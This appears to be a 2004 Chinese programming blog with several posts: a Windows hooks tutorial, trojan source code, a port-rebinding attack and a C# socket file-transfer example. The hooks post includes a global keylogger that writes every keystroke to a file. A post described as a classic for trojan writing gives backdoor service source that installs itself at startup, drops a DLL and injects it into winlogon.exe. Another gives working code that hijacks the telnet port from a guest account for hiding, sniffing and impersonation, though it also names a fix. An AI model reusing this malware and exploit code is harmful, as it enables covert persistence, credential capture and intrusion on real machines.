对于多个钩子的安装,最近安装的钩子将被放置于钩子链的开始,最早安装的钩子则放在最后,在钩子监视的消息出现时,操作系统调用链表开始处的第一个钩子函数进行处理,也就是说最后加入的钩子优先获得控制权。这里提到的钩子函数必须是一个回调函数,而且不能定义为类成员函数,只能是普通的C函数,如:
LRESULT CALLBACK HookProc(int nCode ,WPARAM wParam,LPARAM lParam);
线程局部钩子与系统全局钩子
钩子根据其对消息监视范围的不同而分为系统全局钩子和线程局部钩子两大类,其中线程局部钩子只能监视本进程中某个指定的线程,而全局钩子则可对在当前系统下运行的所有线程进行监视。显然,线程钩子可以看作是全局钩子的一个子集,全局钩子虽然功能强大但同时实现起来也比较烦琐:其钩子函数的实现必须封装在独立的动态链接库中才可以被各种相关联的应用程序所使用。
虽然对于线程局部钩子并不要求其象系统全局钩子一样必须放置于动态链接库中,但是推荐的做法仍是将其放到动态链接库中去实现。这样的处理不仅能使钩子为系统内的多个进程所访问,同时也可以在系统中被直接调用。对于一个只供单进程访问的钩子,还可以将其钩子处理过程放在安装钩子的同一个线程内。
钩子的安装与卸载
系统是通过调用位于钩子链表最开始处的钩子函数而进行消息拦截处理的,因此在设置钩子时要把回调函数放置于钩子链表的链首,操作系统会使其首先被调用。由函数SetWindowsHookEx()负责将回调函数放置于钩子链表的开始位置。SetWindowsHookEx()函数原型声明为:
HHOOK SetWindowsHookEx(int idHook;HOOKPROC lpfn;HINSTANCE hMod;DWORD dwThreadId);
其中,参数idHook 指定了钩子的类型,可以使用的类型有以下13种:
WH_CALLWNDPROC 系统将消息发送到指定窗口之前的"钩子"
WH_CALLWNDPROCRET 消息已经在窗口中处理的"钩子"
WH_CBT 基于计算机培训的"钩子"
WH_DEBUG 差错"钩子"
WH_FOREGROUNDIDLE 前台空闲窗口"钩子"
WH_GETMESSAGE 接收消息投递的"钩子"
WH_JOURNALPLAYBACK 回放以前通过WH_JOURNALRECORD"钩子"记录的输入消息
WH_JOURNALRECORD 输入消息记录"钩子"
WH_KEYBOARD 键盘消息"钩子"
WH_MOUSE 鼠标消息"钩子"
WH_MSGFILTER 对话框、消息框、菜单或滚动条输入消息"钩子"
WH_SHELL 外壳"钩子"
WH_SYSMSGFILTER 系统消息"钩子"
参数lpfn为指向钩子函数的指针,也即回调函数的首地址;参数hMod标识了钩子处理函数所处模块的句柄;参数dwThreadId 指定被监视的线程,如果明确指定了某个线程的ID就只监视该线程,此时的钩子即为线程钩子;如果该参数被设置为0,则表示此钩子为监视系统所有线程的全局钩子。此函数在执行完后将返回一个钩子句柄。
在SetWindowsHookEx()函数完成对钩子的安装后,如果被监视的事件发生,系统会立即调用位于相应钩子链表开始处的钩子函数进行处理,每一个钩子函数在进行处理时都要考虑是否需要把事件传递给下一个钩子处理函数。如果需要传递,就要调用函数CallNestHookEx()。尽管在理论上不调用CallNestHookEx()也并不算错,但在实际使用时还是强烈建议无论是否需要进行事件传递都要在过程的最后调用一次CallNextHookEx( ),否则将会引起一些无法预知的系统行为或是系统锁定。该函数将返回位于钩子链表中的下一个钩子处理过程的地址,至于具体的返回值类型则要视所设置的钩子类型而定。CallNextHookEx( )的函数原型为:
LRESULT CallNextHookEx(HHOOK hhk;int nCode;WPARAM wParam;LPARAM lParam);
其中,参数hhk为由SetWindowsHookEx()函数返回的当前钩子句柄;参数nCode为传给钩子过程的事件代码;参数wParam和lParam 则为传给钩子处理函数的参数值,其具体含义同设置的钩子类型有关。
由于安装钩子对系统的性能有一定的影响,所以在钩子使用完毕后应及时将其卸载以释放其所占资源。释放钩子的函数为UnhookWindowsHookEx(),该函数比较简单只有一个参数用于指定此前由SetWindowsHookEx()函数所返回的钩子句柄,原型声明如下:
BOOL UnhookWindowsHookEx(HHOOK hhk);
使用鼠标钩子
由于系统全局钩子在功能上完全覆盖了线程局部钩子,因此其实际使用范围要远比线程局部钩子广泛的多。本节也由此着重对系统全局钩子的使用进行介绍。
鼠标钩子是钩子中比较常用也是使用比较简单的一类钩子。下面给出的应用示例将通过安装鼠标全局钩子来捕获鼠标当前所处窗口的窗口标题。由于本例程使用了全局钩子,因此首先构造全局钩子的载体——动态链接库。考虑到 Win32 DLL与Win16 DLL存在的差别,在Win32环境下要在多个进程间共享数据,就必须采取一些措施将待共享的数据提取到一个独立的数据段,并通过def文件将其属性设置为读写共享:
#pragma data_seg("mydata")
HWND glhPrevTarWnd = NULL; // 上次鼠标所指的窗口句柄
HWND glhDisplayWnd = NULL; // 显示目标窗口标题编辑框的句柄
HWND glhHook = NULL; // 安装的鼠标钩子句柄
HINSTANCE glhInstance = NULL; // DLL实例句柄
#pragma data_seg()
......
SECTIONS // def文件中将数据段TestData设置为读写共享
TestData READ WRITE SHARED
在完成上述准备工作后,在动态库输出函数StartHook()中调用SetWindowsHookEx()函数完成对全局鼠标钩子的安装,设定鼠标钩子函数为MouseProc(),安装函数返回的钩子句柄保存于变量glhHook中:
BOOL CMouseHook::StartHook(HWND hWnd)
{
 BOOL result = FALSE;
 // 安装钩子
 glhHook = (HWND)SetWindowsHookEx(WH_MOUSE, MouseProc, glhInstance, 0);
 if (glhHook != NULL)
  result = TRUE;
 glhDisplayWnd = hWnd; // 设置显示目标窗口标题编辑框的句柄
 return result;
}
在鼠标钩子安装完毕后,系统内的任何鼠标动作所发出的鼠标消息均要经过钩子函数MouseProc()的拦截过滤处理。在此进行的处理是通过获取当前鼠标所在位置下的窗口句柄,并以此进一步得到窗口标题。在处理完成后,调用CallNextHookEx()函数将本事件传递到钩子链表中的下一个钩子函数:
LRESULT WINAPI MouseProc(int nCode, WPARAM wParam, LPARAM lParam)
{
 LPMOUSEHOOKSTRUCT pMouseHook = (MOUSEHOOKSTRUCT FAR *) lParam;
 if (nCode >= 0) {
  HWND glhTargetWnd = pMouseHook->hwnd; // 取目标窗口句柄
  HWND ParentWnd = glhTargetWnd;
  while (ParentWnd != NULL){
   glhTargetWnd = ParentWnd;
   ParentWnd = GetParent(glhTargetWnd); // 取应用程序主窗口句柄
  }
  if (glhTargetWnd != glhPrevTarWnd) {
   char szCaption[100];
   GetWindowText(glhTargetWnd, szCaption, 100); // 取目标窗口标题
   if (IsWindow(glhDisplayWnd))
    SendMessage(glhDisplayWnd, WM_SETTEXT, 0, (LPARAM)(LPCTSTR)szCaption);
   glhPrevTarWnd = glhTargetWnd; // 保存目标窗口
  }
 }
 // 继续传递消息
 return CallNextHookEx((HHOOK)glhHook, nCode, wParam, lParam);
}
此动态链接库还提供有输出函数StopHook(),调用程序通过对此函数的调用完成对先前加载钩子的卸载。在此输出函数内则是通过UnhookWindowsHookEx()函数来卸载指定钩子的:
BOOL CMouseHook::StopHook()
{
 BOOL result = FALSE;
 if (glhHook){
  result = UnhookWindowsHookEx((HHOOK)glhHook); // 卸载钩子
  if (result)
   glhDisplayWnd = glhPrevTarWnd = glhHook = NULL;
 }
 return result;
}
通过编译、链接可以得到有关鼠标全局钩子的动态链接库,在经过调用程序对其的调用后,可以实现对在当前系统所有线程中的鼠标消息的拦截处理。在钩子动态链接库加载到进程后,只需调用输出函数StartHook()安装好全局钩子即可对鼠标消息进行拦截过滤,在调用程序退出前调用输出函数StopHook()卸载钩子。
使用键盘钩子
键盘钩子同鼠标钩子一样,也是一类较常用的钩子。而且总的来说键盘钩子的使用与鼠标钩子的使用也是比较类似的,下面通过一个程序实例来对键盘钩子的使用进行介绍,在此例程中通过设置键盘全局钩子来记录当前系统输入的字符,并将拦截到的字符按日期保存到文件。
由于本例程也使用的系统全局钩子,因此由调用程序和动态链接库程序两部分组成。动态链接库程序提供了两个输出函数InstallLaunchEv()和UnInstall(),分别用于键盘钩子的安装与卸载:
DllExport void WINAPI InstallLaunchEv()
{
 glhHook = (HHOOK)SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)LauncherHook, theApp.m_hInstance, 0); // 安装键盘钩子
}
DllExport void WINAPI UnInstall()
{
 if (glhHook) {
  BOOL result = UnhookWindowsHookEx((HHOOK)glhHook); // 卸载钩子
  if (result)
   glhHook = NULL;
 }

在钩子安装函数中,通过SetWindowsHookEx()设置了键盘钩子函数LauncherHook()。在键盘事件发生后此钩子函数将被调用,通过SaveLog()函数将捕获到的字符保存到文件:
LRESULT CALLBACK LauncherHook(int nCode, WPARAM wParam, LPARAM lParam)
{
 // 将键盘事件传递给下一钩子函数
 LRESULT Result = CallNextHookEx(glhHook, nCode, wParam, lParam);
 if (nCode == HC_ACTION) // 处理键盘动作
 {
  if (lParam & 0x80000000) // 保存键盘动作到文件
  {
   char c[1];
   c[0] = wParam;
   SaveLog(c);
   if (c[0] == 13) {
    c[0] = 10;
    SaveLog(c);
   }
  }
 }
 return Result;
}
至于调用程序则非常简单,只是在程序开始运行后和在程序退出前分别调用动态链接库提供的钩子设置函数和钩子卸载函数即可。

钩子的种类有很多,从前面给出的鼠标钩子和键盘钩子也可以看出其编写过程是非常类似的。通常情况下作为钩子载体的动态链接库要提供有两个必要的输出函数——钩子安装函数和钩子卸载函数。在钩子安装函数中通过SetWindowsHookEx()为不同类型的钩子设置相应的钩子函数,实质性的工作也主要是在钩子函数中完成的,具体情况应视钩子的类型和要完成的功能而定。在钩子卸载函数中则主要是对UnhookWindowsHookEx()的调用,并辅以必要的保护性代码。

- 作者: hzl96 2004年11月16日, 星期二 15:40  回复(1) |  引用(0) 加入博采

dll插入系统进程的源码!算是写木马的经典了
dll插入系统进程的源码!算是写木马的经典了
dll 插入系统进程的源码!算是写木马的经典了

 

 

 

贴点别人的源码,不错的!有详细的注释
代码不全,这是涉及主要的部分!
里面有涉及普通常用且又重要的编程思路,所以贴出来啦!

自己是菜鸟,自己不懂藏着也没用,希望对你有用哦
/*---------------------------------------------------------------------
//mysvr.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2002.8.11
//Last modify date: 2003.10.28
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
//Header
#include "bkdlldata.h"
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <psapi.h>
#include <winsvc.h>
//---------------------------------------------------------------------
//Global constant
char SERVICENAME[9] = "windhole";
const char DISPLAYNAME[33] = "Windhole Backdoor Service";
const char SRVFILENAME[13] = "windhole.exe";
const char BDRFILENAME[13] = "backdoor.dll";
const char DESTPROC[19] = "winlogon.exe";
//---------------------------------------------------------------------
//Glabal variable
SERVICE_STATUS MyServiceStatus;
SERVICE_STATUS_HANDLE MyServiceStatusHandle;
int WillStop = 0;
//---------------------------------------------------------------------
//Function declaration
int AddPrivilege(const char *Name);
void MyServiceStart (int argc, char *argv[]);
void MyServiceCtrlHandler (DWORD opcode);
DWORD MyWrokThread(void);
DWORD ProcessToPID(const char *InputProcessName);
//---------------------------------------------------------------------
//Function definition
int main(int argc,char *argv[])
{
//
如果参数为"-service"就作为服务启动
if ((argc >= 2) && (!lstrcmp(argv[1],"-service")))
{
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{SERVICENAME, (LPSERVICE_MAIN_FUNCTION)MyServiceStart},
{NULL, NULL}
};

if (!StartServiceCtrlDispatcher( DispatchTable))
{
return 1;
}

return 0;
}

//
否则就自动安装服务
//
复制自身到系统目录
char DestName[MAX_PATH + 1];
char NowName[MAX_PATH + 1];

ZeroMemory(DestName,MAX_PATH + 1);
ZeroMemory(NowName,MAX_PATH + 1);

if (!GetSystemDirectory(DestName,MAX_PATH))
{
printf("GetSystemDirectory() error = %d/nInstall failure!/n",GetLastError());
return 1;
}

lstrcat(DestName,"//");
lstrcat(DestName,SRVFILENAME);

if (!GetModuleFileName(NULL,NowName,MAX_PATH))
{
printf("GetModuleFileName() error = %d/nInstall failure!/n",GetLastError());
return 1;
}


if (!CopyFile(NowName,DestName,0))
{
printf("CopyFile() error = %d/nInstall failure!/n",GetLastError());
return 1;
}

//
安装服务
SC_HANDLE newService, scm;
//
连接SCM
if (!(scm = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE)))
{
printf("OpenSCManager() error = %d/nInstall failure!/n",GetLastError());
return 1;
}

//
当作为服务启动时加上"-service"参数
lstrcat(DestName," -service");

if (!(newService = CreateService(scm,
SERVICENAME,
DISPLAYNAME,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
DestName,
NULL, NULL, NULL, NULL, NULL)))
{
printf("CreateService() error = %d/nInstall failure!/n",GetLastError());
}
else
{
printf("Install success!/n");

char *pra[] = {"-service", "/0"};

if (!StartService(newService,1,(const char **)pra))
{
printf("StartService() error = %d/nStart service failure!/n",GetLastError());
}
else
{
printf("Start service Success!/n");
}

}

CloseServiceHandle(newService);
CloseServiceHandle(scm);
return 0;

}
//---------------------------------------------------------------------
DWORD MyWorkThread(void)
{
Sleep(4000);

FILE *fp;

if ((fp = fopen(BDRFILENAME,"wb")) == NULL)
{
WillStop = 1;
return 1;
}

fwrite(data1,sizeof(data1),1,fp);
fwrite(data2,sizeof(data2),1,fp);
fwrite(data3,sizeof(data3),1,fp);
fwrite(data4,sizeof(data4),1,fp);
fwrite(data5,sizeof(data5),1,fp);
fclose(fp);

char FullName[MAX_PATH + 1];

ZeroMemory(FullName,MAX_PATH + 1);
GetSystemDirectory(FullName,MAX_PATH);
lstrcat(FullName,"//");
lstrcat(FullName,BDRFILENAME);

//
如果是要打开系统进程,一定要先申请debug权限
AddPrivilege(SE_DEBUG_NAME);

HANDLE hRemoteProcess = NULL;
DWORD Pid = ProcessToPID(DESTPROC);

    if ((hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //
允许远程创建线程
        PROCESS_VM_OPERATION | //
允许远程VM操作
        PROCESS_VM_WRITE | //
允许远程VM
        PROCESS_VM_READ, //
允许远程VM
        0,
        Pid)) == NULL)
    {
WillStop = 1;
return 1;
    }


    char *pDllName = NULL;

    if ((pDllName = (char *)VirtualAllocEx( hRemoteProcess,
        NULL,
        lstrlen(FullName) + 1,
        MEM_COMMIT,
        PAGE_READWRITE)) == NULL)
    {
CloseHandle(hRemoteProcess);
WillStop = 1;
        return 1;
    }

    //
使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间
    if (WriteProcessMemory(hRemoteProcess,
        pDllName,
        FullName,
        lstrlen(FullName),
        NULL) == 0)
    {
VirtualFreeEx(hRemoteProcess,pDllName,0,MEM_RELEASE);
CloseHandle(hRemoteProcess);
        WillStop = 1;
return 1;
    }


    //
计算LoadLibraryA的入口地址
    PTHREAD_START_ROUTINE pfnStartAddr = NULL;

    if ((pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(
        GetModuleHandle(TEXT("kernel32")), "LoadLibraryA")) == NULL)
    {
VirtualFreeEx(hRemoteProcess,pDllName,0,MEM_RELEASE);
CloseHandle(hRemoteProcess);
        WillStop = 1;
return 1;
    }


    DWORD ThreadId = 0;

CreateRemoteThread(hRemoteProcess, //
被嵌入的远程进程
NULL,
0,
pfnStartAddr, //LoadLibraryA
的入口地址
pDllName,
0,
&ThreadId);

CloseHandle(hRemoteProcess);
    WillStop = 1;
return 0;
}
//---------------------------------------------------------------------
void MyServiceStart (int argc, char *argv[])
{
if (!(MyServiceStatusHandle = RegisterServiceCtrlHandler(SERVICENAME,(LPHANDLER_FUNCTION)MyServiceCtrlHandler)))
{
return;
}

MyServiceStatus.dwServiceType = SERVICE_WIN32;
MyServiceStatus.dwCurrentState = SERVICE_START_PENDING;
MyServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
MyServiceStatus.dwWin32ExitCode = 0;
MyServiceStatus.dwServiceSpecificExitCode = 0;
MyServiceStatus.dwCheckPoint = 0;
MyServiceStatus.dwWaitHint = 0;

if (!SetServiceStatus (MyServiceStatusHandle, &MyServiceStatus))
{
return;
}

DWORD Threadid;


// Initialization code goes here. Handle error condition
if (!CreateThread(NULL, 0,(LPTHREAD_START_ROUTINE)MyWorkThread,NULL, 0, &Threadid))
{
MyServiceStatus.dwCurrentState = SERVICE_STOPPED;
MyServiceStatus.dwCheckPoint = 0;
MyServiceStatus.dwWaitHint = 0;
MyServiceStatus.dwWin32ExitCode = GetLastError();
MyServiceStatus.dwServiceSpecificExitCode = GetLastError();

SetServiceStatus(MyServiceStatusHandle, &MyServiceStatus);
return;
}

// Initialization complete - report running status.
MyServiceStatus.dwCurrentState = SERVICE_RUNNING;
MyServiceStatus.dwCheckPoint = 0;
MyServiceStatus.dwWaitHint = 0;

if (!SetServiceStatus (MyServiceStatusHandle, &MyServiceStatus))
{
return;
}

while(WillStop == 0)
{
Sleep(200);
}

MyServiceStatus.dwWin32ExitCode = 0;
MyServiceStatus.dwCurrentState = SERVICE_STOPPED;
MyServiceStatus.dwCheckPoint = 0;
MyServiceStatus.dwWaitHint = 0;

SetServiceStatus (MyServiceStatusHandle, &MyServiceStatus);
return;
}
//---------------------------------------------------------------------
void MyServiceCtrlHandler (DWORD Opcode)
{
switch(Opcode)
{
case SERVICE_CONTROL_PAUSE:
// Do whatever it takes to pause here.
MyServiceStatus.dwCurrentState = SERVICE_PAUSED;
break;

case SERVICE_CONTROL_CONTINUE:
// Do whatever it takes to continue here.
MyServiceStatus.dwCurrentState = SERVICE_RUNNING;
break;

case SERVICE_CONTROL_STOP:
// Do whatever it takes to stop here.
MyServiceStatus.dwWin32ExitCode = 0;
MyServiceStatus.dwCurrentState = SERVICE_STOPPED;
MyServiceStatus.dwCheckPoint = 0;
MyServiceStatus.dwWaitHint = 0;

SetServiceStatus (MyServiceStatusHandle, &MyServiceStatus);

WillStop = 1;
return;

case SERVICE_CONTROL_INTERROGATE:
// Fall through to send current status.
break;

}

// Send current status.
if (!SetServiceStatus (MyServiceStatusHandle, &MyServiceStatus))
{
return;
}

return;
}
//---------------------------------------------------------------------
//
为当前进程增加指定的特权
int AddPrivilege(const char *Name)
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID Luid;

if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
&hToken))
{
printf("OpenProcessToken error./n");
return 1;
}

if (!LookupPrivilegeValue(NULL,Name,&Luid))
{
printf("LookupPrivilegeValue error./n");
return 1;
}

tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid = Luid;

if (!AdjustTokenPrivileges(hToken,
0,
&tp,
sizeof(TOKEN_PRIVILEGES),
NULL,
NULL))
{
printf("AdjustTokenPrivileges error./n");
return 1;
}

return 0;
}
//---------------------------------------------------------------------
//
将进程名转换为PID的函数
DWORD ProcessToPID(const char *InputProcessName)
{
DWORD aProcesses[1024], cbNeeded, cProcesses;
unsigned int i;
HANDLE hProcess = NULL;
HMODULE hMod = NULL;
char szProcessName[MAX_PATH] = "UnknownProcess";

AddPrivilege(SE_DEBUG_NAME);

//
计算目前有多少进程, aProcesses[]用来存放有效的进程PIDs
if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded ) )
{
return 0;
}

cProcesses = cbNeeded / sizeof(DWORD);
//
按有效的PID遍历所有的进程
for ( i = 0; i < cProcesses; i++ )
{
//
打开特定PID的进程
hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ,
FALSE, aProcesses[i]);
//
取得特定PID的进程名
if ( hProcess )
{
if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )
{
GetModuleBaseName( hProcess, hMod,
szProcessName, sizeof(szProcessName) );
//
将取得的进程名与输入的进程名比较,如相同则返回进程PID
if(!stricmp(szProcessName, InputProcessName))
{
CloseHandle( hProcess );
return aProcesses[i];
}
}
}//end of if ( hProcess )
}//end of for
//
没有找到相应的进程名,返回0
CloseHandle( hProcess );
return 0;
}
//--------------------------------

- 作者: hzl96 2004年11月16日, 星期二 15:13  回复(0) |  引用(0) 加入博采

端口截听实现端口隐藏,嗅叹与攻击
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = htonl(INADDR_ANY);
bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。


WINDOWSSOCKET服务器应用的编程中,如下的语句或许比比都是:

s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = htonl(INADDR_ANY);
bind(s,(SOCKADDR *)&saddr,sizeof(saddr));



其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

这意味着什么?意味着可以进行如下的攻击:

1
。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

2
。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)

3
。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。

4.
对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。

其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。

下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

DWORD WINAPI ClientThread(LPVOID lpParam);

int main()
{
WORD wVersionRequested;
DWORD ret;
WSADATA wsaData;
BOOL val;
SOCKADDR_IN saddr;
SOCKADDR_IN scaddr;
int err;
SOCKET s;
SOCKET sc;
int caddsize;
HANDLE mt;
DWORD tid;

wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
printf("error!WSAStartup failed!/n");
return -1;
}
saddr.sin_family = AF_INET;

//
截听虽然也可以将地址指定为INADDR_ANY
//
但是要不能影响正常应用情况下,
//
应该指定具体的IP,留下127.0.0.1给正常的服务应用,
//
然后利用这个地址进行转发,
//
就可以不影响对方正常应用了
saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
saddr.sin_port = htons(23);
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket failed!/n");
return -1;
}
val = TRUE;
//SO_REUSEADDR
选项就是可以实现端口重绑定的
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
{
printf("error!setsockopt failed!/n");
return -1;
}
//
如果指定了SO_EXCLUSIVEADDRUSE
//
就不会绑定成功,返回无权限的错误代码;
//
如果是想通过重利用端口达到隐藏的目的,
//
就可以动态的测试当前已绑定的端口哪个可以成功,
//
就说明具备这个漏洞,然后动态利用端口使得更隐蔽
//
其实UDP端口一样可以这样重绑定利用,
//
这儿主要是以TELNET服务为例子进行攻击
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
{
ret=GetLastError();
printf("error!bind failed!/n");
return -1;
}
listen(s,2);
while(1)
{
caddsize = sizeof(scaddr);
//
接受连接请求
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
if(sc!=INVALID_SOCKET)
{
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
if(mt==NULL)
{
printf("Thread Creat Failed!/n");
break;
}
}
CloseHandle(mt);
}
closesocket(s);
WSACleanup();
return 0;
}

DWORD WINAPI ClientThread(LPVOID lpParam)
{
SOCKET ss = (SOCKET)lpParam;
SOCKET sc;
unsigned char buf[4096];
SOCKADDR_IN saddr;
long num;
DWORD val;
DWORD ret;
//
如果是隐藏端口应用的话,
//
可以在此处加一些判断
//
如果是自己的包,就可以进行一些特殊处理,
//
不是的话通过127.0.0.1进行转发

saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
saddr.sin_port = htons(23);
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket failed!/n");
return -1;
}
val = 100;
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return -1;
}
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return -1;
}
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{
printf("error!socket connect failed!/n");
closesocket(sc);
closesocket(ss);
return -1;
}
while(1)
{
//
下面的代码主要是实现通过127001
//
这个地址把包转发到真正的应用上,
//
并把应答的包再转发回去。
//
如果是嗅探内容的话,
//
可以再此处进行内容分析和记录
//
如果是攻击如TELNET服务器,
//
利用其高权限登陆用户的话,
//
可以分析其登陆用户,
//
然后利用发送特定的包以劫持的用户身份执行。
num = recv(ss,buf,4096,0);
if(num>0)
send(sc,buf,num,0);
else if(num==0)
break;
num = recv(sc,buf,4096,0);
if(num>0)
send(ss,buf,num,0);
else if(num==0)
break;
}
closesocket(ss);
closesocket(sc);
return 0 ;

- 作者: hzl96 2004年11月16日, 星期二 11:41  回复(1) |  引用(0) 加入博采

用Socket实现点对点的文件传输

System.Sockes命名空间了实现 Berkeley 套接字接口。通过这个类,我们可以实现网络计算机之间的消息传输和发送.而在我下面要讨论的这个议题里,我们将讨论的是用套节子实现文件的传输.这种方法有别于FTP协议实现的的文件传输方法,利用ftp的方法需要一个专门的服务器和客户端,无疑于我们要实现的点对点的文件传输太为复杂了一些。在这里,我们实现一个轻量级的方法来实现点对点的文件传输,这样就达到了intenet上任何两个计算机的文件共享。


System.Sockes命名空间了实现 Berkeley 套接字接口。通过这个类,我们可以实现网络计算机之间的消息传输和发送.而在我下面要讨论的这个议题里,我们将讨论的是用套节子实现文件的传输.这种方法有别于FTP协议实现的的文件传输方法,利用ftp的方法需要一个专门的服务器和客户端,无疑于我们要实现的点对点的文件传输太为复杂了一些。在这里,我们实现一个轻量级的方法来实现点对点的文件传输,这样就达到了intenet上任何两个计算机的文件共享。

在两台计算机传输文件之前,必需得先有一台计算机建立套节子连接并绑定一个固定得端口,并在这个端口侦听另外一台计算机的连接请求。

socket = new Socket(AddressFamily.InterNetwork,SocketType.Stream, ProtocolType.Tcp);
socket.Blocking = true ;
IPEndPoint computernode1 = new IPEndPoint(serverIpadress, 8080);

socket.Bind(computernode1);

socket.Listen(-1);

当有其他的计算机发出连接请求的时候,被请求的计算机将对每一个连接请求分配一个线程,用于处理文件传输和其他服务。

while ( true )

  {

    clientsock = socket.Accept();

    if ( clientsock.Connected )

    {

       Thread tc = new Thread(new ThreadStart(listenclient));

      tc.Start();

    }

  }

 

下面的代码展示了listenclient方法是如何处理另外一台计算机发送过来的请求。首先并对发送过来的请求字符串作出判断,看看是何种请求,然后决定相应的处理方法。

void listenclient()
{
  Socket sock = clientsock ;
  try
  {
    while ( sock != null )
    {
      byte[] recs = new byte[32767];
      int rcount = sock.Receive(recs,recs.Length,0) ;
      string message = System.Text.Encoding.ASCII.GetString(recs) ;
     //对message作出处理,解析处请求字符和参数存储在cmdList 中
          execmd=cmdList[0];
      sender = null ;
      sender = new Byte[32767];
 
      string parm1 = "";
//目录列举    
if ( execmd == "LISTING" )
      {
        ListFiles(message);
        continue ;
      }
//文件传输
      if ( execmd == "GETOK" )
      {
        cmd = "BEGINSEND "  + filepath + " " + filesize ;
        sender = new Byte[1024];
        sender = Encoding.ASCII.GetBytes(cmd);
        sock.Send(sender, sender.Length , 0 );
               //转到文件下载处理
        DownloadingFile(sock);
        continue ;
      }  
    }
  }
  catch(Exception Se)
  {
    string s = Se.Message;
    Console.WriteLine(s);
  }
}
 
至此,基本的工作已经完成了,下面我们看看如何处理文件传输的。
while(rdby < total && nfs.CanWrite)
  {
//从要传输的文件读取指定长度的数据
len =fin.Read(buffed,0,buffed.Length) ;
    //将读取的数据发送到对应的计算机
    nfs.Write(buffed, 0,len);
    //增加已经发送的长度
    rdby=rdby+len ;         
  }
从上面的代码可以看出是完成文件转换成FileStream 流,然后通过NetworkStream绑定对应的套节子,最后调用他的write方法发送到对应的计算机。
